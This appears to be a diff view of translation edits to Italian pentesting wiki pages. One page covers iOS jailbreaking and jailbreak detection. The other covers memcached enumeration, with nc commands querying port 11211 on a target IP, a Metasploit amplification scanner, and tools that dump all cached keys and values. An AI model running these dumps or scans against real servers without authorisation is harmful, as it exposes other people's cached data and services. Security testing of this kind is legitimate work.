### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Sebbene spesso confrontati, **rooting** su Android e **jailbreaking** su iOS sono processi fondamentalmente diversi. Il rooting dei dispositivi Android può comportare **l'installazione del binario `su`** o **la sostituzione del sistema con un ROM personalizzato rootato**, che non richiede necessariamente exploit se il bootloader è sbloccato. **Flashing di ROM personalizzate** sostituisce il sistema operativo del dispositivo dopo aver sbloccato il bootloader, a volte richiedendo un exploit.
|
||||
Sebbene spesso confrontati, **il rooting** su Android e **il jailbreaking** su iOS sono processi fondamentalmente diversi. Il rooting dei dispositivi Android può comportare **l'installazione del binario `su`** o **la sostituzione del sistema con un ROM personalizzato rootato**, che non richiede necessariamente exploit se il bootloader è sbloccato. **Flashing di ROM personalizzate** sostituisce il sistema operativo del dispositivo dopo aver sbloccato il bootloader, a volte richiedendo un exploit.
|
||||
|
||||
Al contrario, i dispositivi iOS non possono flashare ROM personalizzate a causa della restrizione del bootloader di avviare solo immagini firmate da Apple. **Jailbreaking iOS** mira a eludere le protezioni di firma del codice di Apple per eseguire codice non firmato, un processo complicato dai continui miglioramenti della sicurezza di Apple.
|
||||
Al contrario, i dispositivi iOS non possono flashare ROM personalizzate a causa della restrizione del bootloader di avviare solo immagini firmate da Apple. **Il jailbreaking di iOS** mira a eludere le protezioni di firma del codice di Apple per eseguire codice non firmato, un processo complicato dai continui miglioramenti della sicurezza di Apple.
|
||||
|
||||
### Jailbreaking Challenges
|
||||
|
||||
Jailbreaking iOS è sempre più difficile poiché Apple patcha rapidamente le vulnerabilità. **Downgrading iOS** è possibile solo per un tempo limitato dopo un rilascio, rendendo il jailbreaking una questione sensibile al tempo. I dispositivi utilizzati per i test di sicurezza non dovrebbero essere aggiornati a meno che il re-jailbreaking non sia garantito.
|
||||
Il jailbreaking di iOS è sempre più difficile poiché Apple patcha rapidamente le vulnerabilità. **Il downgrade di iOS** è possibile solo per un tempo limitato dopo un rilascio, rendendo il jailbreaking una questione sensibile al tempo. I dispositivi utilizzati per i test di sicurezza non dovrebbero essere aggiornati a meno che il re-jailbreaking non sia garantito.
|
||||
|
||||
Gli aggiornamenti iOS sono controllati da un **meccanismo di challenge-response** (SHSH blobs), che consente l'installazione solo per risposte firmate da Apple. Questo meccanismo, noto come "finestra di firma", limita la possibilità di memorizzare e utilizzare successivamente pacchetti firmware OTA. Il [sito web IPSW Downloads](https://ipsw.me) è una risorsa per controllare le attuali finestre di firma.
|
||||
Gli aggiornamenti di iOS sono controllati da un **meccanismo di challenge-response** (SHSH blobs), che consente l'installazione solo per risposte firmate da Apple. Questo meccanismo, noto come "finestra di firma", limita la possibilità di memorizzare e utilizzare successivamente pacchetti firmware OTA. Il [sito web IPSW Downloads](https://ipsw.me) è una risorsa per controllare le attuali finestre di firma.
|
||||
|
||||
### Jailbreak Varieties
|
||||
|
||||
@ -93,7 +93,7 @@ Gli strumenti di jailbreaking variano in base alla versione di iOS e al disposit
|
||||
|
||||
- [Checkra1n](https://checkra.in/) per dispositivi con chip A7-A11.
|
||||
- [Palera1n](https://palera.in/) per dispositivi Checkm8 (A8-A11) su iOS 15.0-16.5.
|
||||
- [Unc0ver](https://unc0ver.dev/) per versioni iOS fino a 14.8.
|
||||
- [Unc0ver](https://unc0ver.dev/) per versioni di iOS fino a 14.8.
|
||||
|
||||
Modificare il tuo dispositivo comporta dei rischi e il jailbreaking dovrebbe essere affrontato con cautela.
|
||||
|
||||
@ -112,9 +112,9 @@ basic-ios-testing-operations.md
|
||||
|
||||
**Diverse applicazioni cercheranno di rilevare se il mobile è jailbroken e in tal caso l'applicazione non verrà eseguita**
|
||||
|
||||
- Dopo il jailbreaking, su iOS **file e cartelle vengono solitamente installati**, questi possono essere cercati per determinare se il dispositivo è jailbroken.
|
||||
- In un dispositivo jailbroken, le applicazioni ottengono **accesso in lettura/scrittura a nuovi file** al di fuori del sandbox
|
||||
- Alcuni **API** **call** si comporteranno **in modo diverso**
|
||||
- Dopo il jailbreaking di un iOS **file e cartelle vengono solitamente installati**, questi possono essere cercati per determinare se il dispositivo è jailbroken.
|
||||
- In un dispositivo jailbroken le applicazioni ottengono **accesso in lettura/scrittura a nuovi file** al di fuori del sandbox
|
||||
- Alcune **chiamate API** **si comporteranno in modo diverso**
|
||||
- La presenza del servizio **OpenSSH**
|
||||
- Chiamare `/bin/sh` restituirà **1** invece di 0
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@ Per estrarre tutte le informazioni salvate all'interno di un'istanza di memcache
|
||||
2. Ottenere i **nomi delle chiavi** degli slabs rilevati in precedenza
|
||||
3. Estrarre i **dati salvati** ottenendo i **nomi delle chiavi**
|
||||
|
||||
Ricorda che questo servizio è solo una **cache**, quindi i **dati possono apparire e scomparire**.
|
||||
Ricorda che questo servizio è solo una **cache**, quindi **i dati possono apparire e scomparire**.
|
||||
```bash
|
||||
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
|
||||
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
|
||||
@ -53,13 +53,13 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
|
||||
```
|
||||
## **Dumping Memcache Keys**
|
||||
|
||||
Nel campo del memcache, un protocollo che aiuta a organizzare i dati per slab, esistono comandi specifici per ispezionare i dati memorizzati, sebbene con notevoli vincoli:
|
||||
Nel campo di memcache, un protocollo che assiste nell'organizzazione dei dati per slab, esistono comandi specifici per ispezionare i dati memorizzati, sebbene con notevoli vincoli:
|
||||
|
||||
1. Le chiavi possono essere scaricate solo per classe di slab, raggruppando chiavi di dimensioni di contenuto simili.
|
||||
1. Le chiavi possono essere scaricate solo per classe di slab, raggruppando chiavi di dimensioni di contenuto simile.
|
||||
2. Esiste un limite di una pagina per classe di slab, equivalente a 1MB di dati.
|
||||
3. Questa funzionalità è non ufficiale e potrebbe essere interrotta in qualsiasi momento, come discusso nei [forum della comunità](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
|
||||
|
||||
Il limite di poter scaricare solo 1MB da potenzialmente gigabyte di dati è particolarmente significativo. Tuttavia, questa funzionalità può comunque offrire informazioni sui modelli di utilizzo delle chiavi, a seconda delle esigenze specifiche. Per coloro che sono meno interessati alla meccanica, una visita alla [sezione strumenti](https://lzone.de/cheat-sheet/memcached#tools) rivela utilità per un dumping completo. In alternativa, il processo di utilizzo di telnet per l'interazione diretta con le configurazioni di memcached è descritto di seguito.
|
||||
Il limite di poter scaricare solo 1MB da potenzialmente gigabyte di dati è particolarmente significativo. Tuttavia, questa funzionalità può comunque offrire intuizioni sui modelli di utilizzo delle chiavi, a seconda delle esigenze specifiche. Per coloro che sono meno interessati alla meccanica, una visita alla [sezione strumenti](https://lzone.de/cheat-sheet/memcached#tools) rivela utilità per un dumping completo. In alternativa, il processo di utilizzo di telnet per l'interazione diretta con le configurazioni di memcached è descritto di seguito.
|
||||
|
||||
### **How it Works**
|
||||
|
||||
@ -121,13 +121,13 @@ Table [from here](https://lzone.de/blog).
|
||||
| Linguaggi di programmazione | Strumenti | Funzionalità | | |
|
||||
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- |
|
||||
| PHP | [simple script](http://snipt.org/xtP) | Stampa i nomi delle chiavi. | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Stampa chiavi e valori | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Stampa chiavi e valori | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | Stampa i nomi delle chiavi. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Strumento nel modulo CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI di monitoraggio Memcache che consente anche di scaricare le chiavi | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Congela il tuo processo memcached!!!** Fai attenzione quando lo usi in produzione. Usandolo puoi aggirare il limite di 1MB e scaricare davvero **tutte** le chiavi. | | |
|
||||
|
||||
## Risoluzione dei problemi <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
### Limite di dati di 1MB <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
|
||||
@ -150,8 +150,8 @@ Nonostante la documentazione dica qualcosa riguardo al wrapping attorno a 64bit,
|
||||
|
||||
memcached stesso non supporta la replicazione. Se ne hai davvero bisogno, devi utilizzare soluzioni di terze parti:
|
||||
|
||||
- [repcached](http://repcached.lab.klab.org/): Replicazione multi-master asincrona (set di patch memcached 1.2)
|
||||
- [Couchbase memcached interface](http://www.couchbase.com/memcached): Usa CouchBase come drop-in per memcached
|
||||
- [repcached](http://repcached.lab.klab.org/): replicazione multi-master asincrona (set di patch memcached 1.2)
|
||||
- [Couchbase memcached interface](http://www.couchbase.com/memcached): usa CouchBase come drop-in per memcached
|
||||
- [yrmcds](https://cybozu.github.io/yrmcds/): store di chiavi e valori compatibile con memcached Master-Slave
|
||||
- [twemproxy](https://github.com/twitter/twemproxy) (noto anche come nutcracker): proxy con supporto per memcached
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user